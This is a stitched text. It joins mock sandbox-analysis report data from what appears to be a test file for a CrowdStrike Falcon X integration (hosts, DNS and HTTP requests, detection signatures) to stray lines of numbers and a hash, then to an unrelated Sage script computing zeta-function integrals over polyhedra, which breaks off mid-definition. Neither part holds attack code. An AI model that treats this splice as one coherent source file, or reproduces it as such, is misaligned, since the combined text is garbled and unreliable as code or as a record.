obj.Indicator && val.Vendor == obj.Vendor && val.Type == obj.Type)': [ {'Indicator': 'sha256', 'Type': 'file', 'Vendor': '', 'Score': 2, 'Reliability': 'B - Usually reliable'}], 'csfalconx.resource(val.id && val.id == obj.id)': { 'environment_description': 'Windows 10 64 bit', 'environment_id': 160, 'sha256': 'sha256', 'submission_type': 'page_url', 'submit_url': 'hxxps://www.google.com', 'threat_score': 13, 'created_timestamp': '2020-03-16T17:04:48Z', 'id': 'id', 'ioc_report_broad_csv_artifact_id': 'ioc_report_broad_csv_artifact_id', 'ioc_report_broad_json_artifact_id': 'ioc_report_broad_json_artifact_id', 'ioc_report_broad_maec_artifact_id': 'ioc_report_broad_maec_artifact_id', 'ioc_report_broad_stix_artifact_id': 'ioc_report_broad_stix_artifact_id', 'ioc_report_strict_csv_artifact_id': 'ioc_report_strict_csv_artifact_id', 'ioc_report_strict_json_artifact_id': 'ioc_report_strict_json_artifact_id', 'ioc_report_strict_maec_artifact_id': 'ioc_report_strict_maec_artifact_id', 'ioc_report_strict_stix_artifact_id': 'ioc_report_strict_stix_artifact_id', 'verdict': 'suspicious'}} GET_ANALYSIS_STATUS_CONTEXT = { 'csfalconx.resource(val.id && val.id == obj.id)': { 'id': 'id', 'state': 'success', 'created_timestamp': '2020-03-16T17:04:48Z', 'environment_id': 160 } } CHECK_QUOTA_STATUS_CONTEXT = { 'csfalconx.resource(val.id && val.id == obj.id)': { 'total': 100, 'used': 47, 'in_progress': 2 } } FIND_SANDBOX_REPORTS_CONTEXT = { 'csfalconx.resource(val.id && val.id == obj.id)': { 'resources': ['resources1', 'resources2', 'resources3', 'resources4'] } } FIND_SANDBOX_REPORTS_HASH_CONTEXT = { 'csfalconx.resource(val.id && val.id == obj.id)': { 'resources': ['resources1', 'resources2', 'resources3', 'resources4'], 'FindReport': [{'sha256': 'hash1', 'reportIds': ['resources1', 'resources2', 'resources3', 'resources4']}] } } FIND_SANDBOX_REPORTS_NOT_FOUND_HASH_CONTEXT = { 'csfalconx.resource(val.id && val.id == obj.id)': { 'resources': [], 'FindReport': [{'sha256': 'hash1', 'reportIds': []}] } } FIND_SUBMISSION_ID_CONTEXT = { 'csfalconx.resource(val.id && val.id == obj.id)': { 'resources': ['resources1', 'resources2', 'resources3', 'resources4'] } } GET_FULL_REPORT_CONTEXT_EXTENDED = {'environment_description': 'Windows 10 64 bit', 'environment_id': 160, 'sha256': 'sha256', 'submission_type': 'page_url', 'submit_url': 'hxxps://www.google.com', 'threat_score': 13, 'architecture': 'WINDOWS', 'classification': ['91.6% (.URL) Windows URL shortcut', '8.3% (.INI) Generic INI configuration'], 'contacted_hosts': [{'address': '111.27.12.67', 'associated_runtime': [{'name': 'name.exe', 'pid': 6428}, {'name': 'name.exe', 'pid': 9372}], 'country': 'United States', 'port': 443, 'protocol': 'TCP'}, {'address': '111.27.12.67', 'associated_runtime': [{'name': 'name.exe', 'pid': 6428}, {'name': 'name.exe', 'pid': 9372}], 'country': 'United States', 'port': 80, 'protocol': 'TCP'}, {'address': '111.27.12.67', 'associated_runtime': [{'name': 'name.exe', 'pid': 6428}], 'country': 'United States', 'port': 443, 'protocol': 'TCP'}, {'address': '111.27.12.67', 'associated_runtime': [{'name': 'name.exe', 'pid': 6428}], 'country': 'United States', 'port': 443, 'protocol': 'TCP'}, {'address': '111.27.12.67', 'associated_runtime': [{'name': 'name.exe', 'pid': 6428}], 'country': 'United States', 'port': 443, 'protocol': 'TCP'}, {'address': '111.27.12.67', 'associated_runtime': [{'name': 'name.exe', 'pid': 6428}], 'country': 'United States', 'port': 443, 'protocol': 'TCP'}, {'address': '111.27.12.67', 'associated_runtime': [{'name': 'name.exe', 'pid': 6428}], 'country': 'United States', 'port': 443, 'protocol': 'TCP'}], 'dns_requests': [{'address': '111.111.1.1', 'country': 'United States', 'domain': 'googleads.g.doubleclick.net', 'registrar_creation_timestamp': '1996-01-16T00:00:00+00:00', 'registrar_name': 'registrar_name', 'registrar_organization': 'registrar_organization'}, {'address': '172.217.7.163', 'country': 'United States', 'domain': 'domain'}, {'address': '111.27.12.67', 'country': 'United States', 'domain': 'ssl.gstatic.com', 'registrar_creation_timestamp': '2008-02-11T00:00:00+00:00', 'registrar_name': 'registrar_name', 'registrar_organization': 'Google Inc.'}, {'address': '172.217.14.163', 'country': 'United States', 'domain': 'www.gstatic.com', 'registrar_creation_timestamp': '2008-02-11T00:00:00+00:00', 'registrar_name': 'registrar_name', 'registrar_organization': 'registrar_organization'}], 'http_requests': [ {'header': 'header', 'host': 'host', 'host_ip': '111.27.12.67', 'host_port': 80, 'method': 'GET', 'url': 'url'}, {'header': 'header', 'host': 'host', 'host_ip': '111.27.12.67', 'host_port': 80, 'method': 'GET', 'url': 'url'}, {'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163', 'host_port': 80, 'method': 'GET', 'url': 'url'}, {'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163', 'host_port': 80, 'method': 'GET', 'url': 'url'}, {'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163', 'host_port': 80, 'method': 'GET', 'url': 'url'}, {'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163', 'host_port': 80, 'method': 'GET', 'url': 'url'}, {'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163', 'host_port': 80, 'method': 'GET', 'url': 'url'}, {'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163', 'host_port': 80, 'method': 'GET', 'url': 'url'}], 'incidents': [ {'details': ['Contacts 4 domains and 4 hosts'], 'name': 'Network Behavior'}], 'processes': [ {'command_line': 'command_line', 'icon_artifact_id': 'icon_artifact_id', 'name': 'rundll32.exe', 'normalized_path': 'normalized_path.exe', 'pid': 6648, 'process_flags': [{'name': 'Reduced Monitoring'}], 'sha256': 'sha256', 'uid': '00074182-00006648'}], 'screenshots_artifact_ids': ['screenshots_artifact_ids1', 'screenshots_artifact_ids2', 'screenshots_artifact_ids3', 'screenshots_artifact_ids4'], 'signatures': [ {'category': 'General', 'description': 'description', 'identifier': 'network-0', 'name': 'Contacts domains', 'origin': 'Network Traffic', 'relevance': 1, 'threat_level_human': 'informative', 'type': 7}, {'category': 'General', 'description': 'description', 'identifier': 'network-1', 'name': 'Contacts server', 'origin': 'Network Traffic', 'relevance': 1, 'threat_level_human': 'informative', 'type': 7}, {'category': 'Network Related', 'description': 'description', 'identifier': 'string-3', 'name': 'Found potential URL in binary/memory', 'origin': 'String', 'relevance': 10, 'threat_level_human': 'informative', 'type': 2}, {'category': 'External Systems', 'description': 'description', 'identifier': 'suricata-0', 'name': 'Detected Suricata Alert', 'origin': 'Suricata Alerts', 'relevance': 10, 'threat_level_human': 'informative', 'type': 18}, {'category': 'Ransomware/Banking', 'description': 'description', 'identifier': 'string-12', 'name': 'Detected text artifact in screenshot that indicate file could be ransomware', 'origin': 'String', 'relevance': 10, 'threat_level': 1, 'threat_level_human': 'suspicious', 'type': 2}, {'category': 'Network Related', 'description': 'description', 'identifier': 'network-23', 'name': 'Sends traffic on typical HTTP outbound port, but without HTTP header', 'origin': 'Network Traffic', 'relevance': 5, 'threat_level': 1, 'threat_level_human': 'suspicious', 'type': 7}], 'created_timestamp': '2020-03-16T17:04:48Z', 'id': 'id', 'ioc_report_broad_csv_artifact_id': 'ioc_report_broad_csv_artifact_id', 'ioc_report_broad_json_artifact_id': 'ioc_report_broad_json_artifact_id', 'ioc_report_broad_maec_artifact_id': 'ioc_report_broad_maec_artifact_id', 'ioc_report_broad_stix_artifact_id': 'ioc_report_broad_stix_artifact_id', 'ioc_report_strict_csv_artifact_id': 'ioc_report_strict_csv_artifact_id', 'ioc_report_strict_json_artifact_id': 'ioc_report_strict_json_artifact_id', 'ioc_report_strict_maec_artifact_id': 'ioc_report_strict_maec_artifact_id', 'ioc_report_strict_stix_artifact_id': 'ioc_report_strict_stix_artifact_id', 'verdict': 'no specific threat', 'sandbox': {'architecture': 'WINDOWS', 'classification': [ '91.6% (.URL) Windows URL shortcut', '8.3% (.INI) Generic INI configuration'], 'contacted_hosts': [ {'address': '111.27.12.67', 'associated_runtime': [ {'name': 'name.exe', 'pid': 6428}, {'name': 'name.exe', 'pid': 9372}], 'country': 'United States', 'port': 443, 'protocol': 'TCP'}, {'address': '111.27.12.67', 'associated_runtime': [ {'name': 'name.exe', 'pid': 6428}, {'name': 'name.exe', 'pid': 9372}], 'country': 'United States', 'port': 80, 'protocol': 'TCP'}, {'address': '111.27.12.67', 'associated_runtime': [ {'name': 'name.exe', 'pid': 6428}], 'country': 'United States', 'port': 443, 'protocol': 'TCP'}, {'address': '111.27.12.67', 'associated_runtime': [ {'name': 'name.exe', 'pid': 6428}], 'country': 'United States', 'port': 443, 'protocol': 'TCP'}, {'address': '111.27.12.67', 'associated_runtime': [ {'name': 'name.exe', 'pid': 6428}], 'country': 'United States', 'port': 443, 'protocol': 'TCP'}, {'address': '111.27.12.67', 'associated_runtime': [ {'name': 'name.exe', 'pid': 6428}], 'country': 'United States', 'port': 443, 'protocol': 'TCP'}, {'address': '111.27.12.67', 'associated_runtime': [ {'name': 'name.exe', 'pid': 6428}], 'country': 'United States', 'port': 443, 'protocol': 'TCP'}], 'dns_requests': [ {'address': '111.111.1.1', 'country': 'United States', 'domain': 'googleads.g.doubleclick.net', 'registrar_creation_timestamp': '1996-01-16T00:00:00+00:00', 'registrar_name': 'registrar_name', 'registrar_organization': 'registrar_organization'}, {'address': '172.217.7.163', 'country': 'United States', 'domain': 'domain'}, {'address': '111.27.12.67', 'country': 'United States', 'domain': 'ssl.gstatic.com', 'registrar_creation_timestamp': '2008-02-11T00:00:00+00:00', 'registrar_name': 'registrar_name', 'registrar_organization': 'Google Inc.'}, {'address': '172.217.14.163', 'country': 'United States', 'domain': 'www.gstatic.com', 'registrar_creation_timestamp': '2008-02-11T00:00:00+00:00', 'registrar_name': 'registrar_name', 'registrar_organization': 'registrar_organization'}], 'http_requests': [ {'header': 'header', 'host': 'host', 'host_ip': '111.27.12.67', 'host_port': 80, 'method': 'GET', 'url': 'url'}, {'header': 'header', 'host': 'host', 'host_ip': '111.27.12.67', 'host_port': 80, 'method': 'GET', 'url': 'url'}, {'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163', 'host_port': 80, 'method': 'GET', 'url': 'url'}, {'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163', 'host_port': 80, 'method': 'GET', 'url': 'url'}, {'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163', 'host_port': 80, 'method': 'GET', 'url': 'url'}, {'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163', 'host_port': 80, 'method': 'GET', 'url': 'url'}, {'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163', 'host_port': 80, 'method': 'GET', 'url': 'url'}, {'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163', 'host_port': 80, 'method': 'GET', 'url': 'url'}], 'incidents': [{'details': [ 'Contacts 4 domains and 4 hosts'], 'name': 'Network Behavior'}], 'processes': [ {'command_line': 'command_line', 'icon_artifact_id': 'icon_artifact_id', 'name': 'rundll32.exe', 'normalized_path': 'normalized_path.exe', 'pid': 6648, 'process_flags': [{ 'name': 'Reduced Monitoring'}], 'sha256': 'sha256', 'uid': '00074182-00006648'}], 'screenshots_artifact_ids': [ 'screenshots_artifact_ids1', 'screenshots_artifact_ids2', 'screenshots_artifact_ids3', 'screenshots_artifact_ids4'], 'signatures': [{'category': 'General', 'description': 'description', 'identifier': 'network-0', 'name': 'Contacts domains', 'origin': 'Network Traffic', 'relevance': 1, 'threat_level_human': 'informative', 'type': 7}, {'category': 'General', 'description': 'description', 'identifier': 'network-1', 'name': 'Contacts server', 'origin': 'Network Traffic', 'relevance': 1, 'threat_level_human': 'informative', 'type': 7}, { 'category': 'Network Related', 'description': 'description', 'identifier': 'string-3', 'name': 'Found potential URL in binary/memory', 'origin': 'String', 'relevance': 10, 'threat_level_human': 'informative', 'type': 2}, { 'category': 'External Systems', 'description': 'description', 'identifier': 'suricata-0', 'name': 'Detected Suricata Alert', 'origin': 'Suricata Alerts', 'relevance': 10, 'threat_level_human': 'informative', 'type': 18}, { 'category': 'Ransomware/Banking', 'description': 'description', 'identifier': 'string-12', 'name': 'Detected text artifact in screenshot that indicate file could be ransomware', 'origin': 'String', 'relevance': 10, 'threat_level': 1, 'threat_level_human': 'suspicious', 'type': 2}, { 'category': 'Network Related', 'description': 'description', 'identifier': 'network-23', 'name': 'Sends traffic on typical HTTP outbound port, but without HTTP header', 'origin': 'Network Traffic', 'relevance': 5, 'threat_level': 1, 'threat_level_human': 'suspicious', 'type': 7}]}} GET_FULL_REPORT_CONTEXT = {'environment_description': 'Windows 10 64 bit', 'environment_id': 160, 'sha256': 'sha256', 'submission_type': 'page_url', 'submit_url': 'hxxps://www.google.com', 'threat_score': 13, 'architecture': 'WINDOWS', 'classification': ['91.6% (.URL) Windows URL shortcut', '8.3% (.INI) Generic INI configuration'], 'contacted_hosts': [{'address': '111.27.12.67', 'associated_runtime': [{'name': 'name.exe', 'pid': 6428}, {'name': 'name.exe', 'pid': 9372}], 'country': 'United States', 'port': 443, 'protocol': 'TCP'}, {'address': '111.27.12.67', 'associated_runtime': [ {'name': 'name.exe', 'pid': 6428}, {'name': 'name.exe', 'pid': 9372}], 'country': 'United States', 'port': 80, 'protocol': 'TCP'}, {'address': '111.27.12.67', 'associated_runtime': [{'name': 'name.exe', 'pid': 6428}], 'country': 'United States', 'port': 443, 'protocol': 'TCP'}, {'address': '111.27.12.67', 'associated_runtime': [{'name': 'name.exe', 'pid': 6428}], 'country': 'United States', 'port': 443, 'protocol': 'TCP'}, {'address': '111.27.12.67', 'associated_runtime': [{'name': 'name.exe', 'pid': 6428}], 'country': 'United States', 'port': 443, 'protocol': 'TCP'}, {'address': '111.27.12.67', 'associated_runtime': [{'name': 'name.exe', 'pid': 6428}], 'country': 'United States', 'port': 443, 'protocol': 'TCP'}, {'address': '111.27.12.67', 'associated_runtime': [{'name': 'name.exe', 'pid': 6428}], 'country': 'United States', 'port': 443, 'protocol': 'TCP'}], 'dns_requests': [ {'address': '111.111.1.1', 'country': 'United States', 'domain': 'googleads.g.doubleclick.net', 'registrar_creation_timestamp': '1996-01-16T00:00:00+00:00', 'registrar_name': 'registrar_name', 'registrar_organization': 'registrar_organization'}, {'address': '172.217.7.163', 'country': 'United States', 'domain': 'domain'}, {'address': '111.27.12.67', 'country': 'United States', 'domain': 'ssl.gstatic.com', 'registrar_creation_timestamp': '2008-02-11T00:00:00+00:00', 'registrar_name': 'registrar_name', 'registrar_organization': 'Google Inc.'}, {'address': '172.217.14.163', 'country': 'United States', 'domain': 'www.gstatic.com', 'registrar_creation_timestamp': '2008-02-11T00:00:00+00:00', 'registrar_name': 'registrar_name', 'registrar_organization': 'registrar_organization'}], 'http_requests': [ {'header': 'header', 'host': 'host', 'host_ip': '111.27.12.67', 'host_port': 80, 'method': 'GET', 'url': 'url'}, {'header': 'header', 'host': 'host', 'host_ip': '111.27.12.67', 'host_port': 80, 'method': 'GET', 'url': 'url'}, {'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163', 'host_port': 80, 'method': 'GET', 'url': 'url'}, {'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163', 'host_port': 80, 'method': 'GET', 'url': 'url'}, {'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163', 'host_port': 80, 'method': 'GET', 'url': 'url'}, {'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163', 'host_port': 80, 'method': 'GET', 'url': 'url'}, {'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163', 'host_port': 80, 'method': 'GET', 'url': 'url'}, {'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163', 'host_port': 80, 'method': 'GET', 'url': 'url'}], 'incidents': [{'details': ['Contacts 4 domains and 4 hosts'], 'name': 'Network Behavior'}], 'processes': [{'command_line': 'command_line', 'icon_artifact_id': 'icon_artifact_id', 'name': 'rundll32.exe', 'normalized_path': 'normalized_path.exe', 'pid': 6648, 'process_flags': [{'name': 'Reduced Monitoring'}], 'sha256': 'sha256', 'uid': '00074182-00006648'}], 'screenshots_artifact_ids': ['screenshots_artifact_ids1', 'screenshots_artifact_ids2', 'screenshots_artifact_ids3', 'screenshots_artifact_ids4'], 'created_timestamp': '2020-03-16T17:04:48Z', 'id': 'id', 'ioc_report_broad_csv_artifact_id': 'ioc_report_broad_csv_artifact_id', 'ioc_report_broad_json_artifact_id': 'ioc_report_broad_json_artifact_id', 'ioc_report_broad_maec_artifact_id': 'ioc_report_broad_maec_artifact_id', 'ioc_report_broad_stix_artifact_id': 'ioc_report_broad_stix_artifact_id', 'ioc_report_strict_csv_artifact_id': 'ioc_report_strict_csv_artifact_id', 'ioc_report_strict_json_artifact_id': 'ioc_report_strict_json_artifact_id', 'ioc_report_strict_maec_artifact_id': 'ioc_report_strict_maec_artifact_id', 'ioc_report_strict_stix_artifact_id': 'ioc_report_strict_stix_artifact_id', 'verdict': 'no specific threat', 'sandbox': {'architecture': 'WINDOWS', 'classification': ['91.6% (.URL) Windows URL shortcut', '8.3% (.INI) Generic INI configuration'], 'contacted_hosts': [ {'address': '111.27.12.67', 'associated_runtime': [{'name': 'name.exe', 'pid': 6428}, {'name': 'name.exe', 'pid': 9372}], 'country': 'United States', 'port': 443, 'protocol': 'TCP'}, {'address': '111.27.12.67', 'associated_runtime': [{'name': 'name.exe', 'pid': 6428}, {'name': 'name.exe', 'pid': 9372}], 'country': 'United States', 'port': 80, 'protocol': 'TCP'}, {'address': '111.27.12.67', 'associated_runtime': [{'name': 'name.exe', 'pid': 6428}], 'country': 'United States', 'port': 443, 'protocol': 'TCP'}, {'address': '111.27.12.67', 'associated_runtime': [{'name': 'name.exe', 'pid': 6428}], 'country': 'United States', 'port': 443, 'protocol': 'TCP'}, {'address': '111.27.12.67', 'associated_runtime': [{'name': 'name.exe', 'pid': 6428}], 'country': 'United States', 'port': 443, 'protocol': 'TCP'}, {'address': '111.27.12.67', 'associated_runtime': [{'name': 'name.exe', 'pid': 6428}], 'country': 'United States', 'port': 443, 'protocol': 'TCP'}, {'address': '111.27.12.67', 'associated_runtime': [{'name': 'name.exe', 'pid': 6428}], 'country': 'United States', 'port': 443, 'protocol': 'TCP'}], 'dns_requests': [ {'address': '111.111.1.1', 'country': 'United States', 'domain': 'googleads.g.doubleclick.net', 'registrar_creation_timestamp': '1996-01-16T00:00:00+00:00', 'registrar_name': 'registrar_name', 'registrar_organization': 'registrar_organization'}, {'address': '172.217.7.163', 'country': 'United States', 'domain': 'domain'}, {'address': '111.27.12.67', 'country': 'United States', 'domain': 'ssl.gstatic.com', 'registrar_creation_timestamp': '2008-02-11T00:00:00+00:00', 'registrar_name': 'registrar_name', 'registrar_organization': 'Google Inc.'}, {'address': '172.217.14.163', 'country': 'United States', 'domain': 'www.gstatic.com', 'registrar_creation_timestamp': '2008-02-11T00:00:00+00:00', 'registrar_name': 'registrar_name', 'registrar_organization': 'registrar_organization'}], 'http_requests': [ {'header': 'header', 'host': 'host', 'host_ip': '111.27.12.67', 'host_port': 80, 'method': 'GET', 'url': 'url'}, {'header': 'header', 'host': 'host', 'host_ip': '111.27.12.67', 'host_port': 80, 'method': 'GET', 'url': 'url'}, {'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163', 'host_port': 80, 'method': 'GET', 'url': 'url'}, {'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163', 'host_port': 80, 'method': 'GET', 'url': 'url'}, {'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163', 'host_port': 80, 'method': 'GET', 'url': 'url'}, {'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163', 'host_port': 80, 'method': 'GET', 'url': 'url'}, {'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163', 'host_port': 80, 'method': 'GET', 'url': 'url'}, {'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163', 'host_port': 80, 'method': 'GET', 'url': 'url'}], 'incidents': [ {'details': ['Contacts 4 domains and 4 hosts'], 'name': 'Network Behavior'}], 'processes': [ {'command_line': 'command_line', 'icon_artifact_id': 'icon_artifact_id', 'name': 'rundll32.exe', 'normalized_path': 'normalized_path.exe', 'pid': 6648, 'process_flags': [{'name': 'Reduced Monitoring'}], 'sha256': 'sha256', 'uid': '00074182-00006648'}], 'screenshots_artifact_ids': ['screenshots_artifact_ids1', 'screenshots_artifact_ids2', 'screenshots_artifact_ids3', 'screenshots_artifact_ids4']}} MULTIPLE_ERRORS_RESULT = DemistoException( '403: access denied, authorization failed\n401: test error #1\n402: test error #2')
81.083183
153
0.336024
2,919
44,839
4.959233
0.096608
0.038685
0.036474
0.059063
0.923529
0.921594
0.921594
0.914134
0.911923
0.911923
0
0.082039
0.543299
44,839
552
154
81.230072
0.624866
0
0
0.73849
0
0.009208
0.340418
0.080979
0
0
0
0
0
1
0
false
0
0.001842
0
0.001842
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
1
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
80b081952e1929306b16b59823a4d98a0b30eb7a
11,040
py
Python
src/temp/chart66.py
joshmaglione/SingularZeta
5ff9167cec8233c575fa421e4c99b95f06eb90d0
[ "MIT" ]
1
2019-11-21T17:37:09.000Z
2019-11-21T17:37:09.000Z
src/temp/chart66.py
joshmaglione/SingularZeta
5ff9167cec8233c575fa421e4c99b95f06eb90d0
[ "MIT" ]
1
2019-05-21T07:22:08.000Z
2019-05-21T07:22:08.000Z
src/temp/chart66.py
joshmaglione/SingularZeta
5ff9167cec8233c575fa421e4c99b95f06eb90d0
[ "MIT" ]
null
null
null
################################################################################ # These computations are based off of Bernd Schober's notes for chart 66 in # August. # Maglione, August 2019 ################################################################################ import Zeta from sage.all import QQ, Polyhedron, PolynomialRing, var from SingularZeta.src.globalVars import _DEFAULT_p, _DEFAULT_t p = var(_DEFAULT_p) t = var(_DEFAULT_t) # ============================================================================== # Chart 66: # ============================================================================== # ------------------------------------------------------------------------------ # Case: 1 # ------------------------------------------------------------------------------ # b n1 n2 n3 n4 n5 n6 P = Polyhedron(ieqs=[( 0, 1, 0, 0, 0, 0, 0), ( 0, 0, 1, 0, 0, 0, 0), ( 0, 0, 0, 1, 0, 0, 0), ( 0, 0, 0, 0, 1, 0, 0), ( 0, 0, 0, 0, 0, 1, 0), ( 0, 0, 0, 0, 0, 0, 1), ( 2,-1, 2, 0, 2, 0, 0), ( 2,-1, 1, 1, 2, 0, 0), ( 0, 0,-1, 2, 0, 0, 0), ( 3,-1, 0, 2, 2, 0, 1)]) R = PolynomialRing(QQ,'x', 6) sm_1 = Zeta.smurf.SMURF.from_polyhedron(P, R) factor_1 = (1 - p**-1)**-3*(1 - p**-1)**6*p**-1*t**2*p**-3 zed_1 = sm_1.evaluate()(x0=p**2*t, x1=t, x2=p**-2*t, x3=p**-3*t, x4=t, x5=p**-1) int_1 = factor_1*zed_1 # Double checked # ------------------------------------------------------------------------------ # Case: 2 # ------------------------------------------------------------------------------ # b n1 n2 n3 n4 n5 n6 P = Polyhedron(ieqs=[( 0, 1, 0, 0, 0, 0, 0), ( 0, 0, 1, 0, 0, 0, 0), ( 0, 0, 0, 1, 0, 0, 0), ( 0, 0, 0, 0, 1, 0, 0), ( 0, 0, 0, 0, 0, 1, 0), ( 0, 0, 0, 0, 0, 0, 1), ( 1,-1, 2, 0, 1, 0, 0), ( 1,-1, 1, 1, 1, 0, 0), ( 0, 0,-1, 2, 0, 0, 0), ( 2,-1, 0, 2, 1, 0, 1)]) R = PolynomialRing(QQ,'x', 6) sm_2 = Zeta.smurf.SMURF.from_polyhedron(P, R) factor_2 = (1 - p**-1)**-3*(1 - p**-1)**6*t*p**-3 zed_2 = sm_2.evaluate()(x0=p**2*t, x1=t, x2=p**-2*t, x3=p**-2, x4=t, x5=p**-1) int_2 = factor_2*zed_2 # Double checked # ------------------------------------------------------------------------------ # Case: 3 # ------------------------------------------------------------------------------ # b n1 n2 n3 n4 n5 n6 P = Polyhedron(ieqs=[( 0, 1, 0, 0, 0, 0, 0), ( 0, 0, 1, 0, 0, 0, 0), ( 0, 0, 0, 1, 0, 0, 0), ( 0, 0, 0, 0, 1, 0, 0), ( 0, 0, 0, 0, 0, 1, 0), ( 0, 0, 0, 0, 0, 0, 1), ( 1,-1, 2, 0, 1, 0, 0), ( 0,-1, 1, 1, 0, 0, 0), ( 0, 0,-1, 2, 0, 0, 0), ( 1,-1, 0, 2, 0, 0, 1)]) R = PolynomialRing(QQ,'x', 6) sm_3 = Zeta.smurf.SMURF.from_polyhedron(P, R) factor_3 = (1 - p**-1)**-3*(1 - p**-1)**6*p*t*p**-3 zed_3 = sm_3.evaluate()(x0=p**2*t, x1=t, x2=p**-2*t, x3=p**-1, x4=t, x5=p**-1) int_3 = factor_3*zed_3 # Double checked # ------------------------------------------------------------------------------ # Case: 4 # ------------------------------------------------------------------------------ # b n1 n2 n3 n4 n5 n6 P = Polyhedron(ieqs=[( 0, 1, 0, 0, 0, 0, 0), ( 0, 0, 1, 0, 0, 0, 0), ( 0, 0, 0, 1, 0, 0, 0), ( 0, 0, 0, 0, 1, 0, 0), ( 0, 0, 0, 0, 0, 1, 0), ( 0, 0, 0, 0, 0, 0, 1), ( 0,-1, 2, 0, 0, 0, 0), ( 0,-1, 1, 1, 0, 0, 0), ( 0, 0,-1, 2, 0, 0, 0), ( 1,-1, 0, 2, 0, 0, 1)]) R = PolynomialRing(QQ,'x', 6) sm_4 = Zeta.smurf.SMURF.from_polyhedron(P, R) factor_4 = (1 - p**-1)**-3*(1 - p**-1)**6*(p - 3)*p*t*p**-3 zed_4 = sm_4.evaluate()(x0=p**2*t, x1=t, x2=p**-2*t, x3=p**-1, x4=t, x5=p**-1) int_4 = factor_4*zed_4 # Double checked int_66 = (int_1 + int_2 + int_3 + int_4).simplify().factor().simplify() ################################################################################ # No cone conditions ################################################################################ # ============================================================================== # Chart 66: # ============================================================================== # ------------------------------------------------------------------------------ # Case: 1 # ------------------------------------------------------------------------------ # b n1 n2 n3 n4 n5 n6 P = Polyhedron(ieqs=[( 0, 1, 0, 0, 0, 0, 0), ( 0, 0, 1, 0, 0, 0, 0), ( 0, 0, 0, 1, 0, 0, 0), ( 0, 0, 0, 0, 1, 0, 0), ( 0, 0, 0, 0, 0, 1, 0), ( 0, 0, 0, 0, 0, 0, 1)]) R = PolynomialRing(QQ,'x', 6) sm_1_cc = Zeta.smurf.SMURF.from_polyhedron(P, R) zed_1_cc = sm_1_cc.evaluate()(x0=p**2*t, x1=t, x2=p**-2*t, x3=p**-3*t, x4=t, x5=p**-1) int_1_cc = factor_1*zed_1_cc # ------------------------------------------------------------------------------ # Case: 2 # ------------------------------------------------------------------------------ # b n1 n2 n3 n4 n5 n6 P = Polyhedron(ieqs=[( 0, 1, 0, 0, 0, 0, 0), ( 0, 0, 1, 0, 0, 0, 0), ( 0, 0, 0, 1, 0, 0, 0), ( 0, 0, 0, 0, 1, 0, 0), ( 0, 0, 0, 0, 0, 1, 0), ( 0, 0, 0, 0, 0, 0, 1)]) R = PolynomialRing(QQ,'x', 6) sm_2_cc = Zeta.smurf.SMURF.from_polyhedron(P, R) zed_2_cc = sm_2_cc.evaluate()(x0=p**2*t, x1=t, x2=p**-2*t, x3=p**-2, x4=t, x5=p**-1) int_2_cc = factor_2*zed_2_cc # ------------------------------------------------------------------------------ # Case: 3 # ------------------------------------------------------------------------------ # b n1 n2 n3 n4 n5 n6 P = Polyhedron(ieqs=[( 0, 1, 0, 0, 0, 0, 0), ( 0, 0, 1, 0, 0, 0, 0), ( 0, 0, 0, 1, 0, 0, 0), ( 0, 0, 0, 0, 1, 0, 0), ( 0, 0, 0, 0, 0, 1, 0), ( 0, 0, 0, 0, 0, 0, 1)]) R = PolynomialRing(QQ,'x', 6) sm_3_cc = Zeta.smurf.SMURF.from_polyhedron(P, R) zed_3_cc = sm_3_cc.evaluate()(x0=p**2*t, x1=t, x2=p**-2*t, x3=p**-1, x4=t, x5=p**-1) int_3_cc = factor_3*zed_3_cc # ------------------------------------------------------------------------------ # Case: 4 # ------------------------------------------------------------------------------ # b n1 n2 n3 n4 n5 n6 P = Polyhedron(ieqs=[( 0, 1, 0, 0, 0, 0, 0), ( 0, 0, 1, 0, 0, 0, 0), ( 0, 0, 0, 1, 0, 0, 0), ( 0, 0, 0, 0, 1, 0, 0), ( 0, 0, 0, 0, 0, 1, 0), ( 0, 0, 0, 0, 0, 0, 1)]) R = PolynomialRing(QQ,'x', 6) sm_4_cc = Zeta.smurf.SMURF.from_polyhedron(P, R) zed_4_cc = sm_4_cc.evaluate()(x0=p**2*t, x1=t, x2=p**-2*t, x3=p**-1, x4=t, x5=p**-1) int_4_cc = factor_4*zed_4_cc int_66_cc = (int_1_cc + int_2_cc + int_3_cc + int_4_cc).simplify().factor().simplify() ################################################################################ # No cone conditions and no integrand ################################################################################ # ============================================================================== # Chart 66: # ============================================================================== # ------------------------------------------------------------------------------ # Case: 1 # ------------------------------------------------------------------------------ # b n1 n2 n3 n4 n5 n6 P = Polyhedron(ieqs=[( 0, 1, 0, 0, 0, 0, 0), ( 0, 0, 1, 0, 0, 0, 0), ( 0, 0, 0, 1, 0, 0, 0), ( 0, 0, 0, 0, 